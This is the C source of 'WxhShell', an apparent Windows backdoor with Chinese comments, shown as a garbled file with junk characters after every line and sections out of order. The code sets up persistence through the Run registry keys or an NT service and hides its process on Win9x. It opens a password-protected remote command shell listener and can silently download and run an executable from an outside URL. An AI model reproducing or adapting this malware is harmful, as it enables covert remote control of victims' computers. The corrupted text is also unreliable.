DWORD ExitStatus; 4&a,7uVer
DWORD PebBaseAddress; gsD0N^
DWORD AffinityMask; aa10vV
DWORD BasePriority; ^N2N>^'&1.
ULONG UniqueProcessId; .V'=z|
ULONG InheritedFromUniqueProcessId; ~V?3A/]
} PROCESS_BASIC_INFORMATION; |8<P%:*N
0//B+.#
PROCNTQSIP NtQueryInformationProcess; tc4"huG
TLC&@o
:
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qt&zo5
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c=Y8R/G<
" +n\0j;
HANDLE hProcess; @!MhVNS_<
PROCESS_BASIC_INFORMATION pbi; /'uFX,
SPEDN}/^
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =3=
$F%
if(NULL == hInst ) return 0; ;xMieqz
SWZA`JVK
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -0R;C` (!
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r@9qjva
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); InCo[ 8SI
LjOHlT'
if (!NtQueryInformationProcess) return 0; di,?`
Xj+oV
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WUesTA>
if(!hProcess) return 0; RLtIn!2OU
@cT= t0*
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zbM*/:Y
BMlu>,
CloseHandle(hProcess); n"P29"
jh3XG
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SK&? s`
if(hProcess==NULL) return 0; KWzJ
Z.v2!u
HMODULE hMod; Ag#o&Y
char procName[255]; MV.$Ay
unsigned long cbNeeded; }?vVJm'
0*-nVC1
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RxZ#`$F
))z1T 8
CloseHandle(hProcess); 48 | u{
e_{!8u.+
if(strstr(procName,"services")) return 1; // 以服务启动 7HkQ|~zGT
Tl2e?El;4
return 0; // 注册表启动 A0hfy|1#L
} w:~Y@b~D
,O[Maj/ch
// 主模块 4X^{aIlshk
int StartWxhshell(LPSTR lpCmdLine) _# mo6')j
{ v7kR]HU[y
SOCKET wsl; sKLH.@
BOOL val=TRUE; S7_^E
int port=0; ^3:y<{J
struct sockaddr_in door; 5f'<0D;K
C"=^(HU
if(wscfg.ws_autoins) Install(); HvSYE[Zt|
Edi`x5"l
port=atoi(lpCmdLine); }[%d=NY
@uaf&my,P
if(port<=0) port=wscfg.ws_port; Bt\z0*t=s
^& R
H]q
WSADATA data; $4j$c|S!
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q'mLwD3>
y_Tc$g~
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; S5$sB{\R
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D#?jddr-
door.sin_family = AF_INET; ju= +!nGUa
door.sin_addr.s_addr = inet_addr("127.0.0.1"); >.]'N:5
door.sin_port = htons(port); QV@NA@;XZ
B,Gt6cUq
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *~0Ko{Avc
closesocket(wsl); ]XAJ|[]sj*
return 1; %}*0l8y
} 6uAo0+-k
4\6-sL?rW
if(listen(wsl,2) == INVALID_SOCKET) { n!*uv~%$
closesocket(wsl); Q4&|^RLLG
return 1; d'yA"b]
} $)fybnY
Wxhshell(wsl); EC6Q<&]Iw
WSACleanup(); Wveba)"$
ydyGPZt
return 0; L`!M3c@u
i47xF7y\
} ps*dO
Lk-%I?
// 以NT服务方式启动 clwJ+kku@
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w|uO)/v
{ rq.S0bzH
DWORD status = 0; W"@FRWcd
DWORD specificError = 0xfffffff; P(Fd|).j$
RRBokj)]
serviceStatus.dwServiceType = SERVICE_WIN32; +&p}iZp
serviceStatus.dwCurrentState = SERVICE_START_PENDING; TBzOz:k
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }uTe(Rf
serviceStatus.dwWin32ExitCode = 0; $YM6}D@
serviceStatus.dwServiceSpecificExitCode = 0; +C(v4@=nd
serviceStatus.dwCheckPoint = 0; vGT#BS%
serviceStatus.dwWaitHint = 0; Du3nK"-g
N2~q\BqA
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /W6r{Et
if (hServiceStatusHandle==0) return; b(Ev :
3/w) mY-o
status = GetLastError(); >WsRCBA
if (status!=NO_ERROR) 8?S)>-mwv
{ MwlhL?
serviceStatus.dwCurrentState = SERVICE_STOPPED; x\
pC&
serviceStatus.dwCheckPoint = 0; v.ftfL!
serviceStatus.dwWaitHint = 0; ,;2x.We
serviceStatus.dwWin32ExitCode = status; J"x M[c2
serviceStatus.dwServiceSpecificExitCode = specificError; x-e?94}^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); RQ1`k,R=
return; o~*5FN}%+l
} 'Si1r%'m#
'<v/Gl\
serviceStatus.dwCurrentState = SERVICE_RUNNING; c
QjzI#
serviceStatus.dwCheckPoint = 0; Wy'H4Rg8
serviceStatus.dwWaitHint = 0; a^*@j:[
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #h 4`f
} ![v@+9
w;;.bz m
// 处理NT服务事件,比如:启动、停止 -cjwa-9
~
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ikkv <uY
{ Y68T&swD
switch(fdwControl) =DhzV
D
{ '5ZtB<
case SERVICE_CONTROL_STOP: D&xbtJd
serviceStatus.dwWin32ExitCode = 0; u'?yc"d>#
serviceStatus.dwCurrentState = SERVICE_STOPPED; }/%(7Ff{
serviceStatus.dwCheckPoint = 0; ^}-(8~_en
serviceStatus.dwWaitHint = 0; {ER%r'(4Z
{ QX*HvT
SetServiceStatus(hServiceStatusHandle, &serviceStatus); tsFwFB*
} mv1_vF:
return; QDRgVP
case SERVICE_CONTROL_PAUSE: ;plzJ6>
serviceStatus.dwCurrentState = SERVICE_PAUSED; I.<>6ISI@
break; 0#}@-e
case SERVICE_CONTROL_CONTINUE: X:*Ut3"
serviceStatus.dwCurrentState = SERVICE_RUNNING; u= |hRTD=
break; }<EA)se"
case SERVICE_CONTROL_INTERROGATE: s^/<6kwO
break; y<G@7?
}; EcA@bZ0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?w}E/(r
} *CA7
{2CX
Ba$Ibq,r/
// 标准应用程序主函数 #K3A{
jb,
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H-Uy~Ry*T
{ WH.5vrY Z
u"%i3%Yjh
// 获取操作系统版本 V 4RtH
OsIsNt=GetOsVer(); JZ[~3swR
GetModuleFileName(NULL,ExeFile,MAX_PATH); QOECpk-
3q=A35*LT>
// 从命令行安装 w,\#)<boyb
if(strpbrk(lpCmdLine,"iI")) Install(); o,!r t1&0
b@OL!?JP
// 下载执行文件 SnF3I
if(wscfg.ws_downexe) { DR`d^aBWQ
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |(e`V
WinExec(wscfg.ws_filenam,SW_HIDE); QY<{S&k9
} gJNp]I2R
kq[*q-:"x
if(!OsIsNt) { hCX}*
// 如果时win9x,隐藏进程并且设置为注册表启动 CW(]6s u{
HideProc(); xud
StartWxhshell(lpCmdLine); Y
9eGDpW
} ,6Kx1 c
else 9HOdtpQOV
if(StartFromService()) $18|@\Znj
// 以服务方式启动 Q?GmSeUi
StartServiceCtrlDispatcher(DispatchTable); !s;+6Sy
else {*8'bNJ
// 普通方式启动 ! K~PH
StartWxhshell(lpCmdLine); "YlN_U
Rx$5#K!%M
return 0; ,zy4+GW
} xzFV]
a.a5qwG
~M 6^%
Q"UQv<
=========================================== c~0YIk>]
:^DuB_
ellj/u61bj
V4GcW|P4y
eKlh }v
0k I.dX)
" `Jh> 1l
6]dK,
#include <stdio.h> 8X`Gm!)
#include <string.h> c <[?Z7y
#include <windows.h> @Z.s:FV[
#include <winsock2.h> |IqQ%;H
#include <winsvc.h> K9FtFd
#include <urlmon.h> Vcg$H8m
gqaENU>
#pragma comment (lib, "Ws2_32.lib") P`HE3?r
#pragma comment (lib, "urlmon.lib") DWep5$>&K
.~0A*a
#define MAX_USER 100 // 最大客户端连接数 '&5A*X]d
#define BUF_SOCK 200 // sock buffer qb y!
#define KEY_BUFF 255 // 输入 buffer N(v<*jn
A]2zK?|s
#define REBOOT 0 // 重启 dA[Z\
#define SHUTDOWN 1 // 关机 !GcH )
M0<gea\ =
#define DEF_PORT 5000 // 监听端口 iWu$$IV?-
|1G /J[E
#define REG_LEN 16 // 注册表键长度 U}7a;4?
#define SVC_LEN 80 // NT服务名长度 }O<u
V.kUFTCvf
// 从dll定义API ![Z'jCpy
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =<I 90j~)
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :]Jwcp
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #$xiqL
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0nS69tH
}"j7Qy)cs
// wxhshell配置信息 A-vK0l+
struct WSCFG { \?-`?QPux
int ws_port; // 监听端口 PNLtpixZ
char ws_passstr[REG_LEN]; // 口令 ~/J:p5?L
int ws_autoins; // 安装标记, 1=yes 0=no Mg]q^T.a
char ws_regname[REG_LEN]; // 注册表键名 S(jbPQT
char ws_svcname[REG_LEN]; // 服务名 \$ L2xd
char ws_svcdisp[SVC_LEN]; // 服务显示名 :tY;K2wDM
char ws_svcdesc[SVC_LEN]; // 服务描述信息 LuS]D%
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %ci/(wL
int ws_downexe; // 下载执行标记, 1=yes 0=no @cNX\$J
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GMLq3_'
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -E#!`~&V
O0#wM-M
}; 2E^zQ>;01
$VYMAk&\
// default Wxhshell configuration l|[cA}HtB
struct WSCFG wscfg={DEF_PORT, lL~T@+J~
"xuhuanlingzhe", 7vR JQe)
1, bNR}Mk]?
"Wxhshell", ~WK>+T,%
"Wxhshell", "q4c[dna
"WxhShell Service", r#wMd9])
"Wrsky Windows CmdShell Service", !']=7It{
"Please Input Your Password: ", l9XK;0R9
1, s.]7c
CY
"http://www.wrsky.com/wxhshell.exe", JK.lL]<p i
"Wxhshell.exe" Q*mzfsgr
}; ;JMd(\+-
j"*ZS'0
// 消息定义模块 mXT{)pU
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G<,@|6"w
char *msg_ws_prompt="\n\r? for help\n\r#>"; f_X]2in
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '/kSUvd
char *msg_ws_ext="\n\rExit."; >(Jy=m?
char *msg_ws_end="\n\rQuit."; KK`P<^8J
char *msg_ws_boot="\n\rReboot..."; Er?Wg 09
char *msg_ws_poff="\n\rShutdown..."; k2l(!0o|;
char *msg_ws_down="\n\rSave to "; CZv.$H"lW
]L4B
char *msg_ws_err="\n\rErr!"; j8?z@iG
char *msg_ws_ok="\n\rOK!"; 3!&lio+<
;=1]h&S
char ExeFile[MAX_PATH]; t0p^0
int nUser = 0; <#JJS}TLk
HANDLE handles[MAX_USER]; DoAK]zyJA
int OsIsNt; e!b?SmNN
/|Za[
SERVICE_STATUS serviceStatus; EZ*FGt6(
SERVICE_STATUS_HANDLE hServiceStatusHandle; ?U:?o_w
u^SXg
dj
// 函数声明 TLzg*
int Install(void); rIp84}
int Uninstall(void); ET1/oG<@
int DownloadFile(char *sURL, SOCKET wsh); I&qT3/SVI
int Boot(int flag); Ce}wgKzr
void HideProc(void); oqHI`Tu
int GetOsVer(void); .|$6Pi%!
int Wxhshell(SOCKET wsl); oX@nWQBc_
void TalkWithClient(void *cs); &mDKpYrB
int CmdShell(SOCKET sock); {`BC$V
int StartFromService(void); H[ocIw
int StartWxhshell(LPSTR lpCmdLine); 'n%Ac&kk
7(lR$,bE;=
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *;. l/
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LF?83P,UJ#
Zso&.IATng
// 数据结构和表定义 /rN%y
SERVICE_TABLE_ENTRY DispatchTable[] = 1iEZ9J?
{ A"FlH:Pn
{wscfg.ws_svcname, NTServiceMain}, #bgW{&_y
{NULL, NULL} vULlAQG
}; IwhZzw
w
S',i
// 自我安装 kxp$Nnk
int Install(void) 'CsD[<
{ Q3,`'[ F
char svExeFile[MAX_PATH]; _@jBz"aq\
HKEY key; O79;tA<k
strcpy(svExeFile,ExeFile); F@4XORO;
KB!.N[!v
// 如果是win9x系统,修改注册表设为自启动 $/5<f<%u&)
if(!OsIsNt) { fg"@qE-;
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !fr /WxJ
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .g_BKeU
RegCloseKey(key); |rkj$s,
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iJuh1+6:c9
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K-F@OSK'
RegCloseKey(key); TDXLxoC?
return 0; "&%:
9O
} 5*~Mv<#
} $8h^R#
} |^Nz/PN
else { p"f=[awp
-q\5)nY
// 如果是NT以上系统,安装为系统服务 4Waot
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^:W.R7|
if (schSCManager!=0) % Uybp
{ gE%{#&